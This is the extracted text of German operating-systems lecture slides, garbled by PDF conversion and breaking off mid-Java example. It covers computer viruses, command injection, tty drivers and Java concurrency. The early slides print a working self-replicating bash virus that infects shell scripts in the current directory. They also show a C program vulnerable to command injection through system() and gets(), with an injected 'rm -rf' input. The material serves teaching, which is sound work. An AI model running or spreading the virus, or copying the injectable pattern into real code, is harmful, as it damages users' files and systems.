close

Anmelden

Neues Passwort anfordern?

Anmeldung mit OpenID

Freitag 24.04.2015 Zeit 14.00

EinbettenHerunterladen
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Betriebssysteme - Ausgew¨ahlte Themen
→ alois.schuette@h-da.de
Version: WS2014(967c57d)
Alois Sch¨
utte
24. Oktober 2014
1 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Inhaltsverzeichnis
In diesem Teil werden einige zus¨atzliche Themen behandelt.
1 Viren
2 Command Injection Attacken
3 tty Treiber
4 Muster nebenl¨
aufiger Programmierung
2 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Viren
Viren
1 Viren
Aufbau
Arbeitsweise
Shell Virus
Quellkode-Viren
2 Command Injection Attacken
3 tty Treiber
4 Muster nebenl¨
aufiger Programmierung
3 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Viren
Viren
Ein Computervirus ist ein sich selbst verbreitendes Programm, das sich in
andere Programme einschleust und sich damit reproduziert.
Hier wird die Arbeitsweise am Beispiel
• eines einfachen Skript-Virus (in bash) und
• eines elementaren Quellkode-Virus
erl¨autert.
4 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Viren
Aufbau
Aufbau
Der Virus besteht aus folgenden Kode-Bereichen:
infection Dies ist Programmkode, der das befallende Programm
infiziert und so aus ihm selbst einen Virus macht.
malware Dieser Kode ist die eigentliche Schadsoftware, z.B. zum
• Aussp¨
ahen von Adressb¨
uchern,
• Aktivieren eines Keyloggers,
• u¨
am.
check dient zum Feststellen, ob ein Programm bereits infiziert
ist.
select bestimmt die Programmdateien, die angegriffen werden,
um sie zu infizieren.
5 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Viren
Arbeitsweise
Arbeitsweise
1
Selektiere die zu infizierenden Dateien und f¨
uhre folgende Schritte
aus:
1
2
2
Pr¨
ufe, ob die Datei bereits infiziert ist
wenn nein, dann infiziere sie
f¨
uhre die Schadfunktion aus
6 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Viren
Shell Virus
Beispiel in bash - Programm, select
v.sh
1
2
3
4
5
6
7
8
9
10
# !/ bin / bash
...
for file in ` file * | grep " shell script " | cut - f1 -d : `; do ←shell
check $file
# test $file already infected
if [ $infected - ne 0 ]; then # infect $file
infect $file
fi
done
attack $prog
# do some bad things ←
exit 0
scripts
• file listet die Informationen aller Dateien im aktuellen Verzeichnis auf
• grep selektiert die Shell-Skrite
• cut extrahiert die Dateinamen
• jetzt beginnt der Algorithmus: Pr¨
ufen - Infizieren - Schadfunktion
aufrufen
7 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Viren
Shell Virus
Beispiel in bash - check
v.sh
1
2
3
4
5
6
7
8
9
10
11
# !/ bin / bash
...
len =26
prog = $0
check () {
# virus detection code
tail -n $len $prog > $$v .0
tail -n $len $1 > $$v .1
diff -q $$v .0 $$v .1 > / dev / null
infected = $ ?
rm $$v .0 $$v .1
}
←
• check pr¨
uft, ob die letzten 26 Zeilen der angefallenen Datei mit den
letzten 26 Zeilen des Virus u
¨bereinstimmen
• ist dies nicht der Fall wird die Datei infiziert
8 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Viren
Shell Virus
Beispiel in bash - malware, infect
1
2
3
4
5
6
7
8
9
10
11
12
# !/ bin / bash
len =26
prog = $0
attack () {
# virus malware code
←
echo [ ` date `]: malware $1 >> / tmp / viruslog
}
infect (){
# virus infection code
←
if [ -w $prog ]; then
tail -n $len $prog >> $1
echo [ ` date `]: programm $1 infected by virus >> / tmp / viruslog
fi
}
• infect h¨
angt ans Ende der befallenen Datei den Viruskode an
• die Infektion wird protokolliert
• die Schadfunktion attack macht hier nichts Schlimmes, es wird ein
Eintrag in einer Log-Datei hinzugef¨
ugt
9 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Viren
Shell Virus
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# !/ bin / bash
len =26
prog = $0
attack () {
# virus malware code
←
echo [ ` date `]: malware $1 >> / tmp / viruslog
}
infect (){
# virus infection code
←
if [ -w $prog ]; then
tail -n $len $prog >> $1
echo [ ` date `]: programm $1 infected by virus >> / tmp / viruslog
fi
}
check () {
# virus detection code
←
tail -n $len $prog > $$v .0
tail -n $len $1 > $$v .1
diff -q $$v .0 $$v .1 > / dev / null
infected = $ ?
rm $$v .0 $$v .1
}
for file in ` file * | grep " shell script " | cut - f1 -d : `; do ←shell
check $file
# test $file already infected
if [ $infected - ne 0 ]; then # infect $file
infect $file
fi
done
attack $prog
# do some bad things ←
exit 0
scripts
10 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Viren
Shell Virus
Abwehr
Wie kann man verhindern, dass der Virus Schaden in eigenen
Shell-Skripten anrichtet ?
11 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Viren
Quellkode-Viren
Quellkode-Viren
¨
Quellkode-Viren manipulieren Quellkode, so dass nach Ubersetzen
und
Lauf des befallenen Programms der Schadkode und der Infektionskode in
selektierte Quelldateien implantiert werden.
Beispiel: C-Quellkode-Virus v.sh
1
/*
purpose : Demostrating impleme ntation of a simple source code virus .
May only be used for demonstation purposes !!!
def .:
A virus is a program that reproduces its own code by
attaching itself to other executable files in such a way
that the virus code is executed when the infected
executable file is executed .
author : alois . schuette@h - da . de
test :
1. install a program a . c :
# include < stdio .h >
int main () {
printf (" Hello , world \ n ");
}
2. run virus
now a . c is infected
3. install a second program like a .c , i . e . b . c
4. compile and run a . c
b . c has been infected by program a
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
*/
12 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Command Injection Attacken
Command Injection Attacken
1 Viren
2 Command Injection Attacken
3 tty Treiber
4 Muster nebenl¨
aufiger Programmierung
13 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Command Injection Attacken
Command Injection Attacken
Mittels des Aufrufs system(command) wird in einem C-Programm ein
neuer Prozess erzeugt, der das Kommando ausgef¨
uhrt.
Beispiel: ein Programmierer will im C-Programm schnell eine Datei
kopieren, ohne dies explizit auszuprogrammieren cia.c
1
2
3
4
5
6
7
8
9
10
11
int main ( int args , char ** argv ) {
char src [50] , dst [50] , cmd [100]= " cp
printf ( " source file : " );
gets ( src );
strcat ( cmd , src );
strcat ( cmd , " " );
printf ( " destination file : " );
gets ( dst );
strcat ( cmd , dst );
system ( cmd );
}
" ; // files and command
// get source fiel name
// cat cp and src file name
// get destination fiel name
// append destinatin file name
// execute cp command ←
Welche Gefahr geht von diesem Programm aus ?
14 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Command Injection Attacken
Command Injection Attacken
Mittels des Aufrufs system(command) wird in einem C-Programm ein
neuer Prozess erzeugt, der das Kommando ausgef¨
uhrt.
Beispiel: ein Programmierer will im C-Programm schnell eine Datei
kopieren, ohne dies explizit auszuprogrammieren cia.c
1
2
3
4
5
6
7
8
9
10
11
int main ( int args , char ** argv ) {
char src [50] , dst [50] , cmd [100]= " cp
printf ( " source file : " );
gets ( src );
strcat ( cmd , src );
strcat ( cmd , " " );
printf ( " destination file : " );
gets ( dst );
strcat ( cmd , dst );
system ( cmd );
}
" ; // files and command
// get source fiel name
// cat cp and src file name
// get destination fiel name
// append destinatin file name
// execute cp command ←
Welche Gefahr geht von diesem Programm aus ?
14 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Command Injection Attacken
normale Verwendung
1
2
3
4
5
6
7
8
9
10
$ cia
source file : / etc / hosts
destination file : xx
$
$ ls -l
total 40
-rwx - - - - - - 1 as staff
-rw - - - - - - - 1 as staff
-rw - - - - - - - 1 as staff
$
8788 24 Okt 13:53 cia
605 24 Okt 13:53 cia . c
451 24 Okt 14:08 xx
←
Datei xx ist angelgt
15 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Command Injection Attacken
Command Injection
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ ls -l
total 40
-rwx - - - - - - 1 as staff 8788 24 Okt 13:53 cia
-rw - - - - - - - 1 as staff
605 24 Okt 13:53 cia . c
-rw - - - - - - - 1 as staff
451 24 Okt 14:08 yy
$
$
$ cia
source file : / etc / hosts
destination file : xx ; rm - rf yy
← Datei yy wird gel¨
oscht
$ ls -l
total 40
-rwx - - - - - - 1 as staff 8788 24 Okt 13:53 cia
-rw - - - - - - - 1 as staff
605 24 Okt 13:53 cia . c
-rw - - - - - - - 1 as staff
451 24 Okt 14:11 xx
!
Wie kann man das verhindern ?
16 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Command Injection Attacken
Command Injection
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ ls -l
total 40
-rwx - - - - - - 1 as staff 8788 24 Okt 13:53 cia
-rw - - - - - - - 1 as staff
605 24 Okt 13:53 cia . c
-rw - - - - - - - 1 as staff
451 24 Okt 14:08 yy
$
$
$ cia
source file : / etc / hosts
destination file : xx ; rm - rf yy
← Datei yy wird gel¨
oscht
$ ls -l
total 40
-rwx - - - - - - 1 as staff 8788 24 Okt 13:53 cia
-rw - - - - - - - 1 as staff
605 24 Okt 13:53 cia . c
-rw - - - - - - - 1 as staff
451 24 Okt 14:11 xx
!
Wie kann man das verhindern ?
16 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
tty Treiber
tty Treiber
1 Viren
2 Command Injection Attacken
3 tty Treiber
u
¨berblick
Kommando stty
termcap
terminfo
Zugriff aus der Shell
Funktionstasten
Cursorposition
weiter mit beliebiger Taste
4 Muster nebenl¨
aufiger Programmierung
17 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
tty Treiber
u
¨berblick
u¨berblick
Bei der Datenein- und –ausgabe u
¨ber Terminals (serielle Schnittstellen)
ist immer ein Terminaltreiber (TTY-Treiber) beteiligt.
Ein TTY-Treiber nimmt Bytes von der Tastatur, sammelt sie
und gibt sie i.a. zeilenweise (RETURN) weiter.
Dabei m¨
ussen einige Bytes als Kommandos interpretiert
werden, andere m¨
ussen u
¨bersetzt werden.
18 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
tty Treiber
u
¨berblick
Beispiel (CR-LF Problem)
• Beim Dr¨
ucken der Taste Return wird
das Zeichen CR (\r, ˆM) erzeugt.
• Das lesende Programm, z.B. die
Korn-Shell akzeptiert aber nur ein
LF (\n, ˆJ) als Zeilentrenner. Dann
muss CR in LF u
¨bersetzt werden.
• Da die eingegebenen Zeichen auf dem
Bildschirm reflektiert werden sollen,
muss der TTY-Treiber nach Return 2
Bytes an den Bildschirm senden:
1
2
LF setzt auf Cursor auf gleiche
Position eine Spalte tiefer,
CR positioniert ohne Zeilenvorschub
an den Zeilenanfang.
✗✔
☛
✟
✲ TTY-Treiber
✲ Shell
✠
3. LF ✖✕
1. CR ✡
2. CR+LF
stdout ✛
19 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
tty Treiber
u
¨berblick
weitere Eigenschaften des tty-Treibers
• Sonderbehandlung von Aktionstasten:
Der TTY-Treiber muss die Tasten gesondert behandeln, die
Aktionen ausl¨
osen sollen, etwa die Tasten ’Break’, ’CTR C’ oder
’Delete’.
• Zeileneditor:
Durch das zeilenweise Weiterreichen der Daten, ist der TTY-Treiber
eine rudiment¨arer Zeileneditor:
• ’#’, ’Backspace’ → Zeichen l¨
oschen
• ’CTR U’, ’CTR X’ → Zeile l¨
oschen
• Das Verhalten des TTY-Treibers l¨
asst sich beeinflussen durch:
• C-Programme mittels des Systemaufrufs ’ioctl()’ (input output
control)
• das Unix Kommando stty
20 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
tty Treiber
Kommando stty
Kommando stty
Das Kommando stty ist auf allen Unix Systemen verf¨
ugbar und
funktioniert u
¨berall gleich (bis auf herstellerspezifische Zus¨atze).
stty ohne Argumente zeigt die aktuelle Terminaleinstellung an; durch die
Option –a erh¨alt man zus¨atzliche Informationen:
$ stty
speed 38400 baud ; line = 0;
- brkint {imaxbel
$
$ stty -a
speed 38400 baud ; rows 27; columns 79; line = 0;
intr = ^ C ; quit = ^\; erase = ^?; kill = ^ U ; eof = ^ D ;
eol = < undefiniert >; eol2 = < undefiniert >; start = ^ Q ;
stop = ^ S ; susp = ^ Z ; rprnt = ^ R ;
...
opost - olcuc - ocrnl onlcr - onocr - onlret - ofill - ofdel
nl0 cr0 tab0 bs0 vt0 ff0 isig icanon iexten echo echoe
echok - echonl - noflsh - xcase - tostop - echoprt echoctl echoke
$
21 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
tty Treiber
Kommando stty
Umdefinieren von Tasten
Die allgemeine Form des Kommandos zum Umdefinieren von Tasten ist:
stty Taste Kode
Beispiel:
$ stty intr '^ g '
$
Innerhalb dieser Session ist nun CTR G das Interrupt-Zeichen.
Der Kode kann, wie oben im Beispiel symbolisch angegeben werden oder
durch die Taste auf der Tastatur. Auf diese Weise lassen sich viele Tasten
belegen, die gebr¨auchlichsten sind in der nachfolgenden Tabelle
aufgelistet (CRT S und CTR Q lassen sich nicht umdefinieren):
eof
eol
erase
intr
switch
ˆD
ˆ@
ˆH (backspace)
ˆ? (delete)
ˆZ
End of File
alternativer Zeilentrenner
letztes Zeichen l¨
oschen (fr¨
uher #)
Abbruchtaste
Wechsel zu Hintergrundprozess
22 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
tty Treiber
Kommando stty
Ein- und Ausschalten von Flags f¨ur stty
Mit Hilfe von Flags kann der TTY-Treiber konfiguriert werden. Ein
Flag wird gesetzt (eingeschaltet), indem man den Namen beim Aufruf
von stty angibt; es wird ausgeschaltet, indem man ein Minuszeichen
voranstellt.
$ stty - ixon
$
Durch das o.a. Kommando wird das XON/XOFF Protokoll abgeschaltet
– jetzt kann die Terminalausgabe nicht mehr angehalten werden.
Mehrere Einstellungen k¨
onnen auf einmal ver¨andert werden, z.B. durch
das Flag echo.
$ stty - echo
$
Das letzte Kommando bewirkt, dass die Eingabe nicht mehr auf dem
Bildschirm reflektiert wird - man schreibt blind.
23 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
tty Treiber
Kommando stty
raw Modus
Es existieren einige Optionen, die nicht nur einzelne Flags repr¨asentieren,
sondern eine Menge von Flags ver¨andern.
$ stty raw
$
Durch stty raw wird das Terminal in den raw-Modus versetzt, d.h.
Buchstaben werden uninterpretiert weitergeleitet:
• ’Del’ bzw. ’CTR C’ bricht nicht mehr ab
• Eingaben werden nicht korrekt angezeigt
• CTR D ist nicht mehr EOF
In diesen Modus gelangt man auch bei Kommandos, die bei Abbruch den
Modus nicht wieder umsetzen. In diesem Fall muss das Terminal
restauriert werden:
$ stty sane CTRL_J
$
24 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
tty Treiber
Kommando stty
Probleme mit stty sane
Manchmal funktioniert nach dem Sanieren die Taste ’Backspace’ nicht
mehr, die Eingabe wird gel¨
oscht, aber nicht auf dem Bildschirm.
Grund:
Einige Terminals verwenden zu L¨oschen von Zeichen die Folge
’Bachspace’ ’Space’ ’Backspace’.
Beeinflusst wird das Verhalten von dem Flag echoe.
L¨osung:
$ CTRL_J
$ stty sane CTRL_J
$
25 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
tty Treiber
Kommando stty
Terminaleinstellung sichern
Wenn man Shell-Programme schreibt, sollten die Terminaleinstellungen
vor und nach der Ausf¨
uhrung identisch sein. Dies kann mit der Option
-g folgt erreicht werden:
1
Erste Anweisug im Programm: Speichern der aktuellen Einstellung
durch einstellung=‘stty –g‘
2
Kommandos, die Einstellung ver¨andern
3
stty $einstellung
Beispiel (Ausgabe von stty –g)
$ stty -g
2102:5: bf :8 a3b :3:1 c :7 f : 1 5 : 4 : 0 : 1 : 0 : 1 1 : 1 3 : 1 a :0:12: f :17:
16:0:0:2 f : 0 : 0 : 0 : 0 : 0 : 0 : 0 : 0 : 0 : 0 : 0 : 0 : 0
$
26 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
tty Treiber
Kommando stty
Terminaleinstellung ¨andern
Das stty Kommando wirk immer auf das Terminal, das mit dem
Standard-Input verbunden ist. Somit kann durch Eingabeumlemkung die
Einstellung eines anderen Terminals beeinflusst werden; z.B:
$ tty
/ dev / pts /11
$ stty raw < / dev / console
$
$
Das o.a Kommando ¨andert die Einstellungen der Konsole (normalerweise
hat ein normaler Be- nutzer dazu keine Berechtigung).
Die man Pages verraten die m¨
oglichen Flags.
Wie kann sich ein Benutzer dagegen wehren ?
27 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
tty Treiber
termcap
termcap
termcap und Terminfo sind Mechanismen, um Terminaleigenschaften
allgemein zu Beschreiben und zug¨anglich zu machen, um beim
Programmieren unabh¨angig von Terminalimplementierungen zu sein.
Will man portable Programme schreiben, die Bildschirmattribute
ausnutzen (Fettdruck, unterstreichen, blinken, u.¨a.m.), so m¨
usste man
f¨
ur jedes Ger¨
at einen speziellen Ger¨
atetreiber entwickeln.
In Unix wird ein eleganterer Weg gew¨ahlt:
allgemeine Terminalinterfaces.
28 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
tty Treiber
termcap
Historie
Ende der 70er Jahre implementierte Bill Joy in Berkley den Editor vi,
um den zeilenorientierten ed zu ersetzen. Er entwickelte dazu ein
Ausgabeinterface f¨
ur sein Terminal.
Da der vi sehr beliebt wurde, wurde Bill Joy nach Anpassungen f¨
ur
verschiedene Terminals gefragt. Er entschied sich, nicht mehrere
Ger¨atetreiber zu schreiben, sondern er verpasste dem vi ein allgemeines
Terminalinterface mit generischen Kommandos.
Das Interface hatte 2 Teile:
1
Eine Beschreibung beliebig vieler Terminals in normierter Form
und
2
eine genau definierte Zugriffsmethode in Form einer Sammlung
von C-Routinen.
Damit konnte jedes Programm (so auch der vi) terminalunabh¨
angig
realisiert werden.
29 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
tty Treiber
termcap
Dieser nunmehr Standard heißt termcap-Mechanismus (terminal
capabilities).
Die ASCII-Datei, in der die Terminalbeschreibungen stehen ist
/etc/termcap’. Eintr¨age in der Dateihaben die Form:
1
2
3
# Kommentar
Name | weitere Namen | langer Name :\
: cap : cap : cap :...
Beispiel:
1
2
3
4
5
6
7
8
9
10
11
$ cat / etc / termcap
...
xterm - basic | xterm terminal emulator - common ( XFree86 ):\
:5 i : am : km : mi : ms : ut : xn :\
: Co #8: co #80: it #8: li #24: pa #64:\
: AB =\ E [4% dm : AF =\ E [3% dm : AL =\ E [% dL : DC =\ E [% dP : DL =\ E [% dM :\
: DO =\ E [% dB : IC =\ E [% d@ : LE =\ E [% dD : RA =\ E [?7 l : RI =\ E [% dC :\
: SA =\ E [?7 h : UP =\ E [% dA :\
: ac = ` ` a a f f g g i i j j k k l l m m n n o o p p q q r r s s t t u u v v w w x x y y z z {{||}}~~:\
...
$
F¨
ur jedes Terminal (wie oben ein xterm) existiert ein Eintrag aus einer
Zeile (’\’ ist Zeilenfortsetzungszeichen) mit Namen und mehreren
Terminaleigenschaften.
30 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
tty Treiber
termcap
Namen 2 Zeichen, erster Buchstabe Hersteller (kann wegfallen)
Weitere Namen Eine Folge von weiteren Namen, wobei der erste dieser
Namen als Suchkriterium verwendet wird und in der
Variablen TERM abgelegt wird.
Langer Namen Dient der Angabe des Herstellers
Cap Es gibt drei Arten von Capabilities:
• boolean
• numeric (am #-Zeichen erkennbar)
• string (am =-Zeichen erkennbar)
Beispiel:
• am → automatischer Umbruch
• li#24 → 24 Zeilen
• cl=50\E[;H\E2J → Escape Sequenz f¨
ur clear, d.h. Bildschirm
l¨oschen
Die Manual Seiten verraten mehr!
31 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
tty Treiber
termcap
Tuning
Bei jeder Terminal-Operation muss auf die Termcap-Datei zugegroiffen
werden und die entsprechende Zeile gesucht werden. Da mittlerweile
mehrere mehr als 10.000 Eintr¨age in der Datei sind, kann das
sequentielle Suchen einige Zeit kosten.
L¨osung
Der Systemadministrator sollte die gebr¨auchlichsten Eintr¨age
(xterm, vt100) an den Anfang der Datei kopieren.
32 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
tty Treiber
terminfo
terminfo
Zus¨atzlich zum termcap-Mechanismus existiert ein weiterer effizienterer
Mechanismus: terminfo.
• Unter Ausnutzung der Unix Dateihierarchie wird f¨
ur jeden
Terminaltyp eine eigene Datei (nicht lesbar) angelegt.
• Mit dem terminfo-Compiler tic wird eine ASCII-Quelldatei mit der
Terminalbeschreibung u
¨bersetzt; dann kann die u
¨bersetzte terminfo
Datei in das Verzeichnis /usr/share/terminfo/... abgelegt werden.
F¨
ur synonyme Terminalbezeichnungen wird einfach ein Link erzeugt.
• Anwendungsprogramme k¨
onnen auf die Variable auf die Variable
TERMINFO zur¨
uckgreifen, um die aktuelle Einstellung abzufragen.
• Wenn ¨
anderungen an einer terminfo-Datei vorgenommen werden
sollen und die Quelldatei nicht verf¨
ugbar ist, so kann das (public
domain) Programm infocmp terminfo-Ziele dekompilieren.
→ tree /usr/share/terminfo/
33 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
tty Treiber
Zugriff aus der Shell
Zugriff aus der Shell
Das Kommando tput kann verwendet werden, um
Terminalbeschreibungen zu lesen, die in einer terminfo Datei abgelegt
sind.
Das Kommando wird mit dem Namen einer Terminaleigenschaft (cap)
aufgerufen. Beispiel (L¨
oschen des Bildschirminhalts):
$ tput clear
→ ulab
34 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
tty Treiber
Funktionstasten
Funktionstasten
Will man Funktionstasten in einem Schellskript (Men¨
u) verwenden (z.B.
F1), so kann man den Kode der Taste mit tput kf1 ermitteln:
key.ksh
1
2
3
4
5
6
7
8
9
10
11
F1 = ` tput kf1 `
←
echo -n " Eingabe : "
stty - echo
read key
case $key
in
$F1 ) echo F1 gedrueckt
;;
*)
echo $key wurde gedrueckt
esac
stty echo
→ ulab
35 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
tty Treiber
Cursorposition
Cursorposition
Die Position des Cursors kann man in
Shell-Programmen (Men¨
us) setzen durch:
tput cup x y
cursor.ksh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
F1 = ` tput kf1 `
tput clear
tput cup 10 20
←
echo -n " Eingabe : "
stty - echo
read key
case $key
in
$F1 ) echo F1 gedrueckt
;;
*)
echo
echo $key wurde gedrueckt
esac
stty echo
→ ulab
36 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
tty Treiber
weiter mit beliebiger Taste
weiter mit beliebiger Taste
Bei Benutzereingaben, vorallem in Men¨
us will man h¨aufig aus der Shell
eine Aktion ausl¨
osen, wenn eine Taste (also ohne RETURN) gedr¨
uckt
wird.
Dazu kann man folgende Funktionen verwenden:
weiter.sh
1
2
3
4
5
6
7
9
10
11
12
13
14
go () {
echo -n " weiter mit beliebiger Taste ... "
stty - icanon - echo min 1 time 0
dd bs =1 count =1 >/ dev / null 2 >&1
stty stty -g
stty sane
}
r () {
stty - icanon min 1 time 0
res = ` dd bs =1 count =1 status = none `
stty sane
echo $res
}
→ ulab
37 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Muster nebenl¨aufiger Programmierung
1 Viren
2 Command Injection Attacken
3 tty Treiber
4 Muster nebenl¨
aufiger Programmierung
Locks
Executor
Callable
Scheduler
Semaphore
Exchanger
CountDownLatch
CyclicBarrier
38 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Muster nebenl¨aufiger Programmierung
Standard-Mittel von Java bezogen auf Nebenl¨aufigkeit sind:
• Threads mit dem Interface Runnable
• Synchronisations-Mechanismen synchronized, wait, notify und
notifyAll.
Ab Java 5 sind im Paket java.util.concurrent Klassen f¨
ur
Standard-Muster der neben¨aufigen Programmierung enthalten, z.B.:
• Locks, ReentrantLocks
• Thread-Pooling, Executor, Condition, Callable , Scheduling
• Semaphore
• Exchanger
• CountDownLatch
• CyclicBarrier
39 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Muster nebenl¨aufiger Programmierung
Standard-Mittel von Java bezogen auf Nebenl¨aufigkeit sind:
• Threads mit dem Interface Runnable
• Synchronisations-Mechanismen synchronized, wait, notify und
notifyAll.
Ab Java 5 sind im Paket java.util.concurrent Klassen f¨
ur
Standard-Muster der neben¨aufigen Programmierung enthalten, z.B.:
• Locks, ReentrantLocks
• Thread-Pooling, Executor, Condition, Callable , Scheduling
• Semaphore
• Exchanger
• CountDownLatch
• CyclicBarrier
39 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Locks
Locks
Konzept:
• Ein Lock ist ein Mittel, um in multithreading Umgebungen den
gemeinsamen Zugriff auf Ressourcen zu koordinieren.
• Um eine Ressource nutzen zu k¨
onnen, muss ein Thread den
zugeh¨
origen Schl¨
ussel anfordern.
• Solange ein Thread den Schl¨
ussel besitzt, kann kein anderer Thread
die Ressource verwenden, er muss warten.
• Der den Schl¨
ussel besitzende Thread gibt ihn frei, daraufhin kann ein
wartender Thread den Schl¨
ussel bekommen und die Ressource
verwenden.
Dieses Lockkonzept k¨
onnte mit synchronized umgesetzt werden. Dabei
hat man aber immer die Blockstruktur als Einschr¨
ankung.
40 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Locks
Locks
Konzept:
• Ein Lock ist ein Mittel, um in multithreading Umgebungen den
gemeinsamen Zugriff auf Ressourcen zu koordinieren.
• Um eine Ressource nutzen zu k¨
onnen, muss ein Thread den
zugeh¨
origen Schl¨
ussel anfordern.
• Solange ein Thread den Schl¨
ussel besitzt, kann kein anderer Thread
die Ressource verwenden, er muss warten.
• Der den Schl¨
ussel besitzende Thread gibt ihn frei, daraufhin kann ein
wartender Thread den Schl¨
ussel bekommen und die Ressource
verwenden.
Dieses Lockkonzept k¨
onnte mit synchronized umgesetzt werden. Dabei
hat man aber immer die Blockstruktur als Einschr¨
ankung.
java.util.concurrent.locks beinhaltet Interfaces und Klassen f¨
ur Locks.
40 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Locks
Locks
Konzept:
• Ein Lock ist ein Mittel, um in multithreading Umgebungen den
gemeinsamen Zugriff auf Ressourcen zu koordinieren.
• Um eine Ressource nutzen zu k¨
onnen, muss ein Thread den
zugeh¨
origen Schl¨
ussel anfordern.
• Solange ein Thread den Schl¨
ussel besitzt, kann kein anderer Thread
die Ressource verwenden, er muss warten.
• Der den Schl¨
ussel besitzende Thread gibt ihn frei, daraufhin kann ein
wartender Thread den Schl¨
ussel bekommen und die Ressource
verwenden.
Dieses Lockkonzept k¨
onnte mit synchronized umgesetzt werden. Dabei
hat man aber immer die Blockstruktur als Einschr¨
ankung.
java.util.concurrent.locks beinhaltet Interfaces und Klassen f¨
ur Locks.
40 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Locks
TimeUnit
Die Klasse TimeUnit wird im Zusammenhang mit Locks verwendet, um
eine Zeitdauer in SECONDS, MICROSECONDS, MILLISECONDS oder
NANOSECONDS angeben zu k¨
onnen.
TimeUnit/MainClass.java
1
2
3
4
5
6
7
8
9
10
11
12
13
15
16
17
public class MainClass extends Thread {
// field is volatile because two different threads may access it
